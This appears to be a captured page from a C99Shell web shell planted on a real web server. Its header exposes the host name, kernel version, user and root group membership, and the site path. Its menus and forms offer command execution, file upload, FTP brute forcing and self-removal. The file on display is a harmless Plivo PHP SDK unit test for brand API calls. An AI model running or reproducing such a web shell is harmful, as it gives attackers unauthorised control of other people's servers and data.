!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/tests/Resources/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BrandTest.php (2.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Plivo\Tests\Resources;




use 
Plivo\Http\PlivoRequest;
use 
Plivo\Http\PlivoResponse;
use 
Plivo\Tests\BaseTestCase;


/**
 * Class MessageTest
 * @package Plivo\Tests\Resources
 */
class BrandTest extends BaseTestCase {

    public function 
testBrandCreate()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/10dlc/Brand/',
            [
                
'brand_alias' => "vishnu128",
                
'profile_uuid' => "3cf3e991-2f94-4910-9712-61442987a2d0",
                
'brand_type' => "starter",
                
'secondary_vetting' => false
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/brandCreationResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->brand->create("vishnu128""3cf3e991-2f94-4910-9712-61442987a2d0","starter"false);

        
self::assertNotNull($actual);
    }

    public function 
testGetBrand()
    {
        
$brandID "BRPXS6E";
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/10dlc/Brand/'.$brandID.'/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/brandGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->brand->get($brandID);
        
self::assertNotNull($actual);
        
$this->assertRequest($request);

    }
   
    
    function 
testBrandList()
    {
        
$request = new PlivoRequest(
            
'Get',
            
'Account/MAXXXXXXXXXXXXXXXXXX/10dlc/Brand/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/brandListResponse.json');
        
        
$this->mock(new PlivoResponse($request,202$body));
        
        
$actual $this->client->brand->list();
        
        
$this->assertRequest($request);
        
        
self::assertNotNull($actual);
    }

    public function 
testGetBrandUsecase()
    {
        
$brandID "BRPXS6E";
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/10dlc/Brand/'.$brandID.'/usecases' '/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/brandGetUsecasesResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->brand->get_brand_usecases($brandID);
        
self::assertNotNull($actual);
        
$this->assertRequest($request);

    }

    public function 
testDeleteBrandUsecase()
    {
        
$brandID "BRPXS6E";
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/10dlc/Brand/'.$brandID.'/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/brandDeleteResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->brand->delete($brandID);
        
self::assertNotNull($actual);
        
$this->assertRequest($request);

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--